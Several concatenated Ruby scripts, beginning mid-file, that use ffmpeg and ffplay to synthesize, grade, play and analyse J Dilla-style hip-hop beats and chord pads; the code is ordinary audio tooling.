candidates << { chord: "#{root_name}#{suffix}", score: score.round(5) }
end
end
candidates.sort_by { |candidate| -candidate.fetch(:score) }
end
def zero_crossing_hz(slice)
crossings = slice.each_cons(2).count { |left, right| (left.negative? && right.positive?) || (left.positive? && right.negative?) }
crossings.to_f * SAMPLE_RATE / (2.0 * slice.length)
end
def pitch_class_for(frequency)
(69 + (12 * Math.log2(frequency / 440.0))).round % 12
end
def semantic_tags(loudness, brightness, density)
mean_loudness = average(loudness)
mean_brightness = average(brightness)
tags = []
tags << (density > 2.5 ? "dense" : "spacious")
tags << (mean_brightness > mean_loudness * 0.45 ? "bright" : "warm")
tags << (standard_deviation(loudness) > mean_loudness * 0.8 ? "unstable" : "steady")
tags << (mean_loudness < 0.03 ? "intimate" : "forward")
tags
end
def pipe_floats(path, filter)
output, error, status = capture("ffmpeg", "-v", "error", "-i", path, "-af", filter, "-f", "f32le", "-")
abort error unless status.success?
output.unpack("e*")
end
def peak_frames(frames, hop_seconds)
return [] if frames.empty?
values = frames.map(&:last)
threshold = average(values) + standard_deviation(values)
frames.each_cons(3).filter_map do |left, middle, right|
next unless middle.last > threshold && middle.last > left.last && middle.last > right.last
{ time: middle.first.round(3), strength: middle.last.round(5), grid: (middle.first / hop_seconds).round }
end
end
def average(values)
return 0.0 if values.empty?
values.sum / values.length
end
def standard_deviation(values)
mean = average(values)
Math.sqrt(values.sum { |value| (value - mean) * (value - mean) } / [values.length, 1].max)
end
def nearest_note(frequency)
return nil if frequency <= 0
midi = (69 + (12 * Math.log2(frequency / 440.0))).round
"#{PITCH_CLASSES[midi % 12]}#{(midi / 12) - 1}"
end
def media_metadata(path)
output, error, status = capture("ffprobe", "-v", "error", "-show_entries", "format=duration,bit_rate", "-of", "json", path)
abort error unless status.success?
format = JSON.parse(output).fetch("format", {})
{ duration_seconds: format.fetch("duration", "0").to_f.round(3), bit_rate: format.fetch("bit_rate", "0").to_i }
rescue JSON::ParserError => error
abort "ffprobe json parse failed: #{error.message}"
end
def volume_metadata(path)
output, error, status = capture("ffmpeg", "-hide_banner", "-i", path, "-af", "volumedetect", "-f", "null", "-")
abort error unless status.success?
text = output + error
{ mean_volume_db: number_after(text, "mean_volume:"), max_volume_db: number_after(text, "max_volume:") }
end
def number_after(text, label)
line = text.lines.find { |entry| entry.include?(label) }
line ? line.split(label, 2).last.to_f : nil
end
def ears_verdict(report)
return "too_short" if report[:duration_seconds] < 20.0
return "too_quiet" if report[:mean_volume_db] && report[:mean_volume_db] < -28.0
return "clips" if report[:max_volume_db] && report[:max_volume_db] > -0.2
"usable"
end
def debug
scan
_output, error, status = capture("ruby", "-c", __FILE__)
puts(status.success? ? "ruby syntax: ok" : error)
end
def sweep
output = File.join(ROOT, "sweep_check.mp3")
previous = ENV["BARS"]
ENV["BARS"] = "8"
render(output)
verify(output)
ears(output) if tool_available?("ffprobe")
ensure
previous ? ENV["BARS"] = previous : ENV.delete("BARS")
end
# --- Analog grade engine ---
# Build an ffmpeg filter fragment for one grade effect using stock params.
# Each filter maps to a postpro analog concept (see GRADE_PRESETS comment).
def grade_filter(fx, stock)
case fx
when "tape_saturation"
# H&D characteristic curve analog: tanh waveshaper, gain-neutral.
d = stock[:sat_drive]
n = Math.tanh(d).round(6)
"aeval=exprs='tanh(#{d}*val(0))/#{n}:tanh(#{d}*val(1))/#{n}'"
when "analog_noise"
# Newson-Delon grain analog: flat Gaussian noise floor at stock amplitude.
a = stock[:noise_amp]
"aeval=exprs='val(0)+#{a}*(random(0)-0.5):val(1)+#{a}*(random(1)-0.5)'"
when "harmonic_bloom"
# Halation analog: even-harmonic enrichment (tube/transformer bloom).
# x|x| adds 2nd+3rd order harmonics without DC offset.
"aeval=exprs='val(0)+0.07*val(0)*abs(val(0)):val(1)+0.07*val(1)*abs(val(1))'"
when "spectral_warmth"
# Color temperature analog: low-shelf boost + high-shelf cut.
db = stock[:warmth_db].round(1)
cut = (db * 0.65).round(1)
"equalizer=f=90:width_type=o:width=2:g=#{db},equalizer=f=9500:width_type=o:width=2:g=-#{cut}"
when "parallel_compress"
# Bleach bypass analog: New York parallel compression.
"acompressor=threshold=-22dB:ratio=7:attack=6:release=55:makeup=3:mix=0.45"
when "multiband_tone"
# Split grade analog: three-band independent tonal shaping.
"equalizer=f=110:width_type=o:width=2:g=1.8,equalizer=f=900:width_type=o:width=2:g=0.5,equalizer=f=7000:width_type=o:width=2:g=-1.2"
when "wow_flutter"
# Reciprocity failure analog: capstan speed LFO (wow=slow, flutter=fast).
r = stock[:wow_rate]
d = stock[:wow_depth]
"vibrato=f=#{r}:d=#{d}"
when "vinyl_crackle"
# Faded print analog: stochastic crackle bursts at ~0.08% of samples.
"aeval=exprs='val(0)+(random(0)<8e-4?(random(1)-0.5)*0.22:0):val(1)+(random(2)<8e-4?(random(3)-0.5)*0.22:0)'"
when "transient_sharpen"
# Micro-contrast analog: presence boost via high-mid shelf.
"equalizer=f=4000:width_type=o:width=1.5:g=2.0"
when "stereo_width"
# Chromatic aberration analog: M/S stereo widening.
"extrastereo=m=1.35"
end
end
def grade(input = nil, output = nil, preset_name = nil)
input ||= prompt("audio path")
preset_name ||= prompt("preset (#{GRADE_PRESETS.keys.join(', ')})")
output ||= input.sub(/(\.\w+)\z/, "_#{preset_name}\\1")
abort "missing #{input}" unless File.exist?(input)
p = GRADE_PRESETS[preset_name.to_sym] or abort "unknown preset: #{preset_name}. valid: #{GRADE_PRESETS.keys.join(', ')}"
stock = AUDIO_STOCKS[p[:stock]]
filters = p[:fx].filter_map { |fx| grade_filter(fx, stock) }
abort "no filters for preset #{preset_name}" if filters.empty?
chain = [filters, "lowpass=f=#{stock[:rolloff_hz]}"].flatten.join(",")
sh! "ffmpeg", "-y", "-i", input, "-af", chain, "-c:a", "pcm_s16le", output
puts "wrote #{output}"
end
def grade_list
GRADE_PRESETS.each do |name, p|
stock = p[:stock]
puts "#{name}: #{p[:fx].join(' → ')} [#{stock}]"
end
end
# --- Live playback ---
# Render a short preview and play it immediately via ffplay.
def play(preset_name = nil, bars_count = 8)
abort "ffplay required" unless tool_available?("ffplay")
preset_name ||= "dilla"
tmp = File.join(ROOT, ".play_tmp.mp3")
prev = ENV["BARS"]
ENV["BARS"] = bars_count.to_s
if preset_name == "dilla"
render_dilla(tmp)
else
render(tmp)
end
sh! "ffplay", "-nodisp", "-autoexit", tmp
ensure
prev ? ENV["BARS"] = prev : ENV.delete("BARS")
FileUtils.rm_f(tmp)
end
# Stream audio live from ffplay without writing a file — generative beat.
def live(bars_count = 32)
abort "ffplay required" unless tool_available?("ffplay")
duration = (beat_seconds * 4.0 * bars_count).round(3)
drunk = drunk_offsets(4 * bars_count)
expr = chord_expression
kick_p = (beat_seconds * 2.0).round(6)
# Build the same filter as render but pipe direct to ffplay
tmp = File.join(ROOT, ".live_tmp.wav")
render_dilla(tmp, bars_count)
puts "streaming #{bars_count} bars... Ctrl-C to stop"
exec "ffplay", "-nodisp", "-loop", "0", tmp
rescue SystemCallError => e
abort "ffplay failed: #{e.message}"
end
# Instantly play a modulating bass tone — good for local audio system check.
def bass(root_hz = 55.0)
abort "ffplay required" unless tool_available?("ffplay")
# Warbling sub bass: fundamental + slow pitch LFO + low harmonic content.
# Models J Dilla's low-end: not a clean sine, has movement and weight.
lfo_hz = 0.18
lfo_amt = root_hz * 0.04
expr_l = "0.45*sin(2*PI*(#{root_hz}+#{lfo_amt}*sin(2*PI*#{lfo_hz}*t))*t)" \
"+0.08*sin(2*PI*#{(root_hz * 2).round(2)}*t)" \
"+0.03*sin(2*PI*#{(root_hz * 3).round(2)}*t)"
filter = "aeval=exprs='#{expr_l}:#{expr_l}',equalizer=f=80:width_type=o:width=2:g=4,lowpass=f=200"
puts "playing bass #{root_hz}Hz (Ctrl-C to stop)"
exec "ffplay", "-f", "lavfi", "-i", "aevalsrc=0", "-nodisp",
"-af", "aeval=exprs='#{expr_l}:#{expr_l}',equalizer=f=80:width_type=o:width=2:g=4,lowpass=f=200"
rescue SystemCallError => e
abort "ffplay failed: #{e.message}"
end
# --- J Dilla style beat engine ---
# Drunk quantization: return an array of per-beat timing offsets in seconds.
# Dilla's signature feel — hits land slightly before or after the grid,
# never random but never locked, like a human with perfect rhythm who chose not to use it.
def drunk_offsets(n)
n.times.map { (rand * 2 - 1) * DRUNK_MAX_MS / 1000.0 }
end
# Build kick expression with drunk timing: each kick is offset from the grid.
def dilla_kick_expr(duration, drunk)
beat_p = beat_seconds * 2.0
# Kicks on beats 1 and 3, offset by drunk timing
kicks = drunk.each_slice(4).flat_map do |slice|
[ 0.0 + slice[0].to_f,
beat_seconds * 2.0 + slice[2].to_f ]
end.uniq
parts = kicks.first(64).map do |offset|
t_mod = "mod(t-#{offset.round(6)},#{(beat_seconds * 4.0).round(6)})"
"0.72*sin(2*PI*(46+88*exp(-#{t_mod.inspect}*20))*#{t_mod.inspect})*exp(-#{t_mod.inspect}*10)"
end
"(#{parts.join('+')})"
rescue StandardError
"0.72*sin(2*PI*(46+88*exp(-mod(t,#{(beat_seconds * 2.0).round(6)})*18))*t)*exp(-mod(t,#{(beat_seconds * 2.0).round(6)})*9)"
end
# Snare on 2 and 4 with drunk timing + ghost notes at 1/8th positions.
def dilla_snare_expr(duration, drunk)
beat2 = beat_seconds + (drunk[1] || 0.0)
beat4 = beat_seconds * 3.0 + (drunk[3] || 0.0)
bar = beat_seconds * 4.0
ghosts = [beat_seconds * 0.5, beat_seconds * 1.5, beat_seconds * 2.5, beat_seconds * 3.5].map do |pos|
t_mod = "mod(t-#{pos.round(4)},#{bar.round(6)})"
"0.05*(random(0)-0.5)*lt(#{t_mod},0.04)*exp(-#{t_mod}*50)"
end
main = [beat2, beat4].map do |pos|
t_mod = "mod(t-#{pos.round(4)},#{bar.round(6)})"
"0.52*(random(1)-0.5)*lt(#{t_mod},0.06)*exp(-#{t_mod}*28)"
end
"(#{(main + ghosts).join('+').gsub(/"/, '')})"
end
# Warbling Dilla bass: frequency modulated by an LFO for that loose,
# slightly sharp-flat feel. Octave sub below + harmonic above.
def dilla_bass_expr(root_hz = 43.0)
lfo_rate = 0.12
lfo_amt = root_hz * 0.03
fund = "#{root_hz}+#{lfo_amt}*sin(2*PI*#{lfo_rate}*t)"
"0.60*sin(2*PI*(#{fund})*t)+0.10*sin(2*PI*2*(#{fund})*t)"
end
# Full Dilla-style render: drunk drums, warbling bass, pad chords, soul sample.
def render_dilla(destination = File.join(ROOT, "dilla_beat.mp3"), bars_count = nil)
abort "ffmpeg required" unless tool_available?("ffmpeg")
FileUtils.mkdir_p(File.dirname(destination))
n_bars = bars_count || bars
duration = (beat_seconds * 4.0 * n_bars).round(3)
drunk = drunk_offsets(n_bars * 4)
kick_expr = dilla_kick_expr(duration, drunk)
snare_expr = dilla_snare_expr(duration, drunk)
bass_expr = dilla_bass_expr
hat_off = (drunk[0] || 0.0) * 0.5
hat_p = (beat_seconds / 2.0).round(6)
hat_expr = "0.11*(random(0)-0.5)*lt(mod(t+#{hat_off.abs.round(4)},#{hat_p}),0.025)*exp(-mod(t,#{hat_p})*90)"
command = ["ffmpeg", "-y",
"-f", "lavfi", "-i", "aevalsrc='#{chord_expression}':d=#{duration}:s=#{SAMPLE_RATE}",
"-f", "lavfi", "-i", "aevalsrc='#{bass_expr}':d=#{duration}:s=#{SAMPLE_RATE}",
"-f", "lavfi", "-i", "aevalsrc='#{kick_expr}':d=#{duration}:s=#{SAMPLE_RATE}",
"-f", "lavfi", "-i", "aevalsrc='#{snare_expr}':d=#{duration}:s=#{SAMPLE_RATE}",
"-f", "lavfi", "-i", "aevalsrc='#{hat_expr}':d=#{duration}:s=#{SAMPLE_RATE}"]
sample_input = nil
if File.exist?(SAMPLE_CLEAN)
sample_input = 5
command += ["-stream_loop", "-1", "-i", SAMPLE_CLEAN]
end
labels = %w[[pads] [bass] [kick] [snare] [hats]]
weights = %w[0.85 0.90 0.82 0.58 0.20]
filter = []
filter << "[0:a]aformat=channel_layouts=stereo,lowpass=f=4000,adelay=5|11[pads]"
filter << "[1:a]aformat=channel_layouts=stereo,lowpass=f=180,equalizer=f=80:width_type=o:width=2:g=4[bass]"
filter << "[2:a]aformat=channel_layouts=stereo,lowpass=f=160[kick]"
filter << "[3:a]aformat=channel_layouts=stereo,highpass=f=200,lowpass=f=6000[snare]"
filter << "[4:a]aformat=channel_layouts=stereo,highpass=f=7000[hats]"
if sample_input
filter << "[#{sample_input}:a]aformat=channel_layouts=stereo,atrim=0:#{duration},asetpts=PTS-STARTPTS," \
"highpass=f=80,lowpass=f=14000,acrusher=bits=12:samples=2:mix=0.25[sample]"
labels << "[sample]"
weights << "0.78"
end
mix_chain = "#{labels.join}amix=inputs=#{labels.length}:weights=#{weights.join(' ')}:duration=first," \
"aeval=exprs='tanh(1.6*val(0))/#{Math.tanh(1.6).round(6)}:tanh(1.6*val(1))/#{Math.tanh(1.6).round(6)}'," \
"acompressor=threshold=-18dB:ratio=2.5:attack=20:release=120," \
"acrusher=bits=12:samples=2:mix=0.15," \
"alimiter=limit=0.93:level_out=0.95[out]"
filter << mix_chain
command += ["-filter_complex", filter.join(";"), "-map", "[out]", "-t", duration.to_s, *codec_for(destination), destination]
sh!(*command)
puts "wrote #{destination}"
end
case ARGV.shift
when "scan" then scan
when "sweep" then sweep
when "council" then council
when "debug" then debug
when "sample" then sample
when "source" then source(ARGV.shift, ARGV.shift)
when "livestream" then livestream(ARGV.shift, ARGV.shift)
when "separate" then separate(ARGV.shift)
when "render", nil then render(ARGV.shift || File.join(ROOT, "full_track.mp3"))
when "verify" then verify(ARGV.shift || File.join(ROOT, "full_track.mp3"))
when "chords" then chords
when "clean" then clean(ARGV.shift, ARGV.shift || File.join(ROOT, "clean.wav"))
when "stems" then stems(ARGV.shift || File.join(ROOT, "samples/demucs"), ARGV.shift || File.join(ROOT, "samples/manifest.json"))
when "study" then study(ARGV.shift, ARGV.shift)
when "rhythm" then rhythm(ARGV.shift)
when "melody" then melody(ARGV.shift)
when "harmony" then harmony(ARGV.shift)
when "semantics" then semantics(ARGV.shift)
when "ears" then ears(ARGV.shift || File.join(ROOT, "full_track.mp3"))
when "play" then play(ARGV.shift, (ARGV.shift || 8).to_i)
when "live" then live((ARGV.shift || 32).to_i)
when "bass" then bass((ARGV.shift || 55.0).to_f)
when "grade" then grade(ARGV.shift, ARGV.shift, ARGV.shift)
when "grade_list" then grade_list
when "dilla" then render_dilla(ARGV.shift || File.join(ROOT, "dilla_beat.mp3"))
else
puts "commands: #{COMMANDS.join(' | ')}"
end
#!/usr/bin/env ruby
# frozen_string_literal: true
# dilla_analog.rb
# Full analog-pad restoration renderer for Dilla/Madlib/FlyLo-inspired music.
# Original synthesis only: no copyrighted sample downloading.
#
# Usage:
# ruby dilla/dilla_analog.rb render dilla/analog_full.mp3
# ruby dilla/dilla_analog.rb liveset dilla/analog_liveset.mp3 12
# ruby dilla/dilla_analog.rb chords
# ruby dilla/dilla_analog.rb clean input.wav output.wav
# ruby dilla/dilla_analog.rb stems dilla/samples/demucs dilla/samples/manifest.json
require "json"
require "fileutils"
DIR = File.expand_path(__dir__)
BPM = (ENV["BPM"] || 86).to_f
BARS = (ENV["BARS"] || 96).to_i
SR = 44_100
# 13 restored Dilla-ish progressions: dark 9ths, maj9s, suspended clusters, altered color.
PAD_CHORDS = [
{ name: "Fm9", hz: [174.61, 207.65, 261.63, 311.13, 392.00] },
{ name: "Dbmaj9", hz: [138.59, 174.61, 207.65, 261.63, 311.13] },
{ name: "Cm9", hz: [130.81, 155.56, 196.00, 233.08, 293.66] },
{ name: "Ebmaj9", hz: [155.56, 196.00, 233.08, 293.66, 349.23] },
{ name: "Abmaj9", hz: [207.65, 261.63, 311.13, 392.00, 466.16] },
{ name: "Dm9", hz: [146.83, 174.61, 220.00, 261.63, 329.63] },
{ name: "Gm9", hz: [196.00, 233.08, 293.66, 349.23, 440.00] },
{ name: "Bm7b5+9", hz: [123.47, 146.83, 174.61, 220.00, 261.63] },
{ name: "E altered",hz: [164.81, 196.00, 233.08, 293.66, 349.23] },
{ name: "Am9", hz: [110.00, 130.81, 164.81, 196.00, 246.94] },
{ name: "Bbm9", hz: [116.54, 138.59, 174.61, 207.65, 261.63] },
{ name: "Gbmaj9", hz: [92.50, 116.54, 138.59, 174.61, 207.65] },
{ name: "C cluster", hz: [130.81, 138.59, 196.00, 233.08, 311.13] }
].freeze
ROOTS = [43.65, 49.00, 51.91, 38.89, 46.25].freeze
PRIMES = [97, 109, 127, 149, 167, 191, 223, 251].freeze
# Analog authenticity controls.
ANALOG = {
osc_layers: 5,
drift_cents: 7.0,
bad_tune_spike_cents: 16.0,
lowpass_hz: 2600,
sp_bits: 12,
sp_ratio: 44_100.0 / 26_040.0,
tape_dc: 0.05,
chorus_delay_l_ms: 9,
chorus_delay_r_ms: 13,
vinyl_level: 0.14,
pad_sidechain_hint: 0.72
}.freeze
def sh!(*cmd)
puts ">>> #{cmd.flatten.join(' ')}"
abort "failed" unless system(*cmd.flatten.map(&:to_s))
end
def lavfi(src) = ["-f", "lavfi", "-i", src]
def expr(parts) = parts.empty? ? "0" : parts.join("+")
def section_for_bar(b, total)
return [:intro, 0.42] if b < 8
return [:a, 1.00] if b < 24
return [:a2, 1.00] if b < 40
return [:break, 0.55] if b < 48
return [:b, 1.00] if b < 64
return [:drop, 0.72] if b < 72
return [:c, 1.00] if b < 88
[:outro, [0.25, 1.0 - ((b - 88) / [12.0, total - 88.0].max)].max]
end
def rotate_chord(chord, bars)
hz = chord[:hz].rotate((bars / 8) % chord[:hz].length)
# Probabilistic tension note restoration: b9/#11/13-like color via ratio offsets.
extra = case bars % 12
when 0 then hz[0] * 1.067
when 4 then hz[2] * 1.414
when 8 then hz[3] * 1.122
else nil
end
extra ? (hz + [extra]) : hz
end
def schedule(bars)
beat = 60.0 / BPM
bar = beat * 4
step = bar / 16
events = Hash.new { |h, k| h[k] = [] }
kick_patterns = [[0,7,10,14], [0,5,7,10,14], [0,3,7,10,12,14], [0,6,9,14]]
bars.times do |b|
sec, den = section_for_bar(b, bars)
base = b * bar
kp = kick_patterns[(b / 8 + b % 3) % kick_patterns.length].dup
kp = [0,3,6,7,10,12,14,15] if b % 16 == 15
kp = [0,10] if sec == :intro && b > 2
kp = [] if sec == :intro && b <= 2
kp = (b.even? ? [0] : [0,7]) if sec == :break
kp = (b.even? ? [0,10] : [0,7,14]) if sec == :drop
kp = [0] if sec == :outro && b > bars - 8 && b % 4 == 0
kp.each_with_index do |s, i|
# Separate timing grids: late/straight kicks, early/variable snares, late hats, laggy bass.
t = base + s * step + [0.000, 0.006, 0.011, -0.004, 0.018][(b + i) % 5]
events[:kick] << [t, den]
events[:bass] << [t + 0.023, den, ROOTS[(b / 4 + i) % ROOTS.length]] unless sec == :intro
end
[4, 12].each do |s|
events[:snare] << [base + s * step + [-0.010, -0.006, 0.004, 0.010, 0.017][b % 5], den] unless sec == :intro
end
(b.even? ? [6,11] : [3,6,11,15]).each do |s|
events[:ghost] << [base + s * step + [-0.014, 0.006, 0.018][(b + s) % 3], den * 0.32] unless [:intro, :drop].include?(sec)
end
hats = b % 16 == 7 ? [0,4,8,12] : [0,2,4,6,8,10,12,14]
hats = b.even? ? [] : [0,4,8,12] if sec == :break
hats.each_with_index do |s, i|
jitter = [-0.004, 0.000, 0.003, 0.006][(b + s) % 4]
events[:hat] << [base + s * step + (i.odd? ? 0.018 : 0.002) + jitter, den * 0.52]
end
events[:open] << [base + 6 * step + 0.008, den * 0.30] if ![:intro, :break].include?(sec) && [1,3].include?(b % 4)
if b >= 2 && b % 4 == 0
chord = rotate_chord(PAD_CHORDS[(b / 4) % PAD_CHORDS.length], b)
sustain = 3.2 + (b % 3) * 0.9
events[:pad] << [base + 0.03, den, chord, sustain]
end
if b >= 2 && b % 2 == 0
chord = rotate_chord(PAD_CHORDS[(b / 4 + 3) % PAD_CHORDS.length], b)
events[:chop] << [base + [1,2,5,9,13][b % 5] * step + [-0.022, 0.0, 0.017][b % 3], den, chord]
end
events[:riser] << [base + 2 * beat, 0.13] if [7,23,39,47,63,71,87].include?(b)
events[:stop] << [base + 3 * beat, 0.18] if [23,39,47,63,71,87].include?(b)
end
events
end
def pad_expression(t, v, chord, sustain, bar_index)
parts = chord.each_with_index.map do |f, i|
# Five-layer analog voice: saw-ish fundamental, detuned saw, triangle-ish partial, sine, quiet square-ish odd partial.
drift = 1.0 + ((i - 2) * 0.0017) + (Math.sin((bar_index + i) * 1.7) * 0.0009)
spike = (bar_index % 11 == i ? (ANALOG[:bad_tune_spike_cents] / 1200.0) : 0.0)
ff = f * drift * (2.0 ** spike)
[
"sin(2*PI*#{ff}*(t-#{t}))",
"0.55*sin(2*PI*#{ff * 1.004}*(t-#{t}))",
"0.32*sin(2*PI*#{ff * 2.005}*(t-#{t}))",
"0.20*sin(2*PI*#{ff * 0.5}*(t-#{t}))",
"0.11*sin(2*PI*#{ff * 3.0}*(t-#{t}))"
].join("+")
end.join("+")
# Slow envelope, breathing tremolo, capacitor-like lag by filtering in ffmpeg later.
"between(t,#{t},#{t+sustain})*#{v}*0.035*exp(-(t-#{t})*0.26)*(0.78+0.22*sin(2*PI*0.23*(t-#{t})))*(#{parts})"
end
def render(dest, bars: BARS)
beat = 60.0 / BPM
dur = (bars * beat * 4).round(3)
ev = schedule(bars)
kick = ev[:kick].map { |t, v| "between(t,#{t},#{t+0.42})*#{v}*0.95*exp(-(t-#{t})*7.4)*sin(2*PI*(45+115*exp(-20*(t-#{t})))*(t-#{t}))" }
bass = ev[:bass].map { |t, v, f| "between(t,#{t},#{t+0.46})*#{v}*0.42*exp(-(t-#{t})*3.2)*sin(2*PI*#{f}*(t-#{t}))" }
snare = ev[:snare].map { |t, v| "between(t,#{t},#{t+0.18})*#{v}*0.60*exp(-(t-#{t})*23)" }
ghost = ev[:ghost].map { |t, v| "between(t,#{t},#{t+0.09})*#{v}*exp(-(t-#{t})*35)" }
hat = ev[:hat].map { |t, v| "between(t,#{t},#{t+0.06})*#{v}*exp(-(t-#{t})*78)" }
open = ev[:open].map { |t, v| "between(t,#{t},#{t+0.25})*#{v}*exp(-(t-#{t})*11)" }
pad = ev[:pad].each_with_index.map { |(t, v, chord, sustain), i| pad_expression(t, v, chord, sustain, i) }
chop = ev[:chop].map do |t, v, chord|
f = chord[(t * 10).to_i % chord.length]
"between(t,#{t},#{t+0.55})*#{v}*0.11*exp(-(t-#{t})*1.7)*(sin(2*PI*#{f}*(t-#{t}))+0.35*sin(2*PI*#{f*1.5}*(t-#{t})))"
end
risers = ev[:riser].map { |t, v| "between(t,#{t},#{t+2.0})*#{v}*((t-#{t})/2.0)^2" }
stops = ev[:stop].map { |t, v| "between(t,#{t},#{t+1.1})*#{v}*exp(-(t-#{t})*2.2)" }
inputs = [
*lavfi("aevalsrc='#{expr(kick)}':d=#{dur}:s=#{SR}"),
*lavfi("aevalsrc='#{expr(bass)}':d=#{dur}:s=#{SR}"),
*lavfi("anoisesrc=color=white:r=#{SR}:amplitude=0.5:d=#{dur}"),
*lavfi("anoisesrc=color=pink:r=#{SR}:amplitude=0.04:d=#{dur}"),
*lavfi("aevalsrc='#{expr(pad)}':d=#{dur}:s=#{SR}"),
*lavfi("aevalsrc='#{expr(chop)}':d=#{dur}:s=#{SR}"),
*lavfi("aevalsrc='#{expr(risers + stops)}':d=#{dur}:s=#{SR}")
]
filter = <<~F
[0:a]aformat=channel_layouts=stereo[k];
[1:a]aformat=channel_layouts=stereo,lowpass=f=140[bs];
[2:a]aformat=channel_layouts=stereo,asplit=3[ns][nh][no];
[ns]volume='#{expr(snare + ghost)}':eval=frame,highpass=f=160,bandpass=f=1600:w=2600[sn];
[nh]volume='#{expr(hat)}':eval=frame,highpass=f=6500[hh];
[no]volume='#{expr(open)}':eval=frame,bandpass=f=5600:w=5200[op];
[4:a]aformat=channel_layouts=stereo,lowpass=f=#{ANALOG[:lowpass_hz]},aphaser=speed=0.08:decay=0.35,adelay=#{ANALOG[:chorus_delay_l_ms]}|#{ANALOG[:chorus_delay_r_ms]},aecho=0.18:0.22:120:0.22[pad];
[5:a]aformat=channel_layouts=stereo,highpass=f=120,lowpass=f=5000,aecho=0.18:0.22:90:0.28[chop];
[6:a]aformat=channel_layouts=stereo,highpass=f=900,lowpass=f=9000[fx];
[k][bs][sn][hh][op][pad][chop][fx]amix=inputs=8:weights=1.25 0.9 0.9 0.48 0.42 0.95 0.65 0.35:duration=longest[music];
[3:a]volume=#{ANALOG[:vinyl_level]},highpass=f=90,lowpass=f=8000[vinyl];
[music][vinyl]amix=inputs=2:weights=1 0.32:duration=first,
acompressor=threshold=-18dB:ratio=3.5:attack=25:release=120:makeup=2,
acrusher=bits=#{ANALOG[:sp_bits]}:samples=#{ANALOG[:sp_ratio].round(3)}:mix=0.22,
aeval='(tanh((val(0)+#{ANALOG[:tape_dc]})*1.45)-0.072)/0.87|(tanh((val(1)+#{ANALOG[:tape_dc]})*1.45)-0.072)/0.87',
highpass=f=30,lowpass=f=12000,equalizer=f=45:t=o:w=1.2:g=1,
alimiter=level_out=0.96:limit=0.92[out]
F
codec = File.extname(dest).downcase == ".mp3" ? ["-codec:a", "libmp3lame", "-b:a", "320k"] : ["-c:a", "pcm_s16le"]
FileUtils.mkdir_p(File.dirname(dest))
sh! "ffmpeg", "-y", *inputs, "-filter_complex", filter.tr("\n", " "), "-map", "[out]", *codec, dest
end
def liveset(dest, minutes)
bars = [(minutes.to_f * 60.0 / (60.0 / BPM * 4)).ceil, 64].max
render(dest, bars: bars)
end
def clean(input, output)
abort "missing input" unless input && File.exist?(input)
FileUtils.mkdir_p(File.dirname(output))
sh! "ffmpeg", "-y", "-i", input, "-af", "highpass=f=28,lowpass=f=15500,afftdn=nf=-25,adeclick,loudnorm=I=-18:TP=-1.5:LRA=10", "-c:a", "pcm_s16le", output
end
def stems(root, manifest)
sets = []
Dir.glob(File.join(root, "**", "*.{wav,mp3,flac,ogg,m4a}"), File::FNM_EXTGLOB).group_by { |p| File.dirname(p) }.each do |dir, files|
stem_map = {}
files.each do |f|
b = File.basename(f).downcase
key = b.include?("drums") ? "drums" : b.include?("bass") ? "bass" : b.include?("vocals") ? "vocals" : b.include?("other") ? "other" : File.basename(f, ".*")
stem_map[key] = f.sub(DIR + "/", "")
end
sets << { "name" => File.basename(dir), "bpm" => BPM, "stems" => stem_map, "prime_swell" => PRIMES[sets.length % PRIMES.length] }
end
FileUtils.mkdir_p(File.dirname(manifest))
File.write(manifest, JSON.pretty_generate({ "version" => 4, "sets" => sets }) + "\n")
puts "manifest -> #{manifest}"
end
def chords
PAD_CHORDS.each_with_index { |c, i| puts "%02d %-10s %s" % [i + 1, c[:name], c[:hz].map { |x| x.round(2) }.join(" ")] }
end
case ARGV.shift
when "render", nil then render(ARGV.shift || File.join(DIR, "analog_full.mp3"))
when "liveset" then liveset(ARGV.shift || File.join(DIR, "analog_liveset.mp3"), (ARGV.shift || 12).to_f)
when "clean" then clean(ARGV.shift, ARGV.shift || File.join(DIR, "samples/clean.wav"))
when "stems" then stems(ARGV.shift || File.join(DIR, "samples/demucs"), ARGV.shift || File.join(DIR, "samples/manifest.json"))
when "chords" then chords
else puts "render OUT.mp3 | liveset OUT.mp3 MINUTES | chords | clean IN OUT | stems ROOT MANIFEST"
end#!/usr/bin/env ruby
# frozen_string_literal: true
#
# J Dilla — MPC-style hip-hop beat synthesized from primitives.
# 86 BPM × 8 bars. Off-grid kicks, snare drag, hat swing, vinyl crackle.
#
# Usage: ruby dilla_hiphop.rb [out.mp3] default: ./dilla_hiphop.mp3
DIR = __dir__
BPM = 86
BARS = 8
def run(label, *cmd)
puts ">>> #{label}"
abort "fail: #{label}" unless system(*cmd.flatten.map(&:to_s))
end
def render(label, dest, inputs:, filter:, map:, args: ["-b:a", "320k"])
run label, "ffmpeg", "-y", *inputs,
"-filter_complex", filter.tr("\n", " "),
"-map", map, *args, dest
end
def lavfi(src) = ["-f", "lavfi", "-i", src]
def synthesize(dest)
beat = 60.0 / BPM
bar = beat * 4
step = beat / 4
total = (bar * BARS).round(3)
kick_per_bar = Array.new(BARS) { [0, 7, 10, 14] }
kick_per_bar[7] = [0, 4, 7, 10, 12, 14, 15]
snare_per_bar = Array.new(BARS) { [4, 12] }
snare_per_bar[7] = [4, 10, 12, 14]
ghost_per_bar = Array.new(BARS) { [] }
ghost_per_bar[1] = [11]
ghost_per_bar[3] = [3, 15]
ghost_per_bar[5] = [11]
hat_per_bar = Array.new(BARS) { [0, 2, 4, 6, 8, 10, 12, 14] }
hat_per_bar[5] = []
hat_per_bar[6] = [0, 4, 8, 12]
open_per_bar = Array.new(BARS) { [6] }
open_per_bar[7] = [6, 14]
kicks = BARS.times.flat_map { |b| kick_per_bar[b].map { |s| (b * bar + s * step).round(4) } }
snares = BARS.times.flat_map { |b| snare_per_bar[b].map { |s| (b * bar + s * step + 0.018).round(4) } }
ghosts = BARS.times.flat_map { |b| ghost_per_bar[b].map { |s| (b * bar + s * step + 0.018).round(4) } }
hats = BARS.times.flat_map { |b|
hat_per_bar[b].each_with_index.map { |s, i| (b * bar + s * step + (i.odd? ? 0.012 : 0)).round(4) }
}
opens = BARS.times.flat_map { |b| open_per_bar[b].map { |s| (b * bar + s * step).round(4) } }
kick_sig = kicks.map { |t| "between(t,#{t},#{t + 0.25})*0.9*exp(-(t-#{t})*6)*sin(2*PI*(100*(t-#{t})-150*(t-#{t})*(t-#{t})))" }.join("+")
sub_sig = kicks.map { |t| "between(t,#{t},#{t + 0.45})*0.4*exp(-(t-#{t})*3.5)*sin(2*PI*32.70*(t-#{t}))" }.join("+")
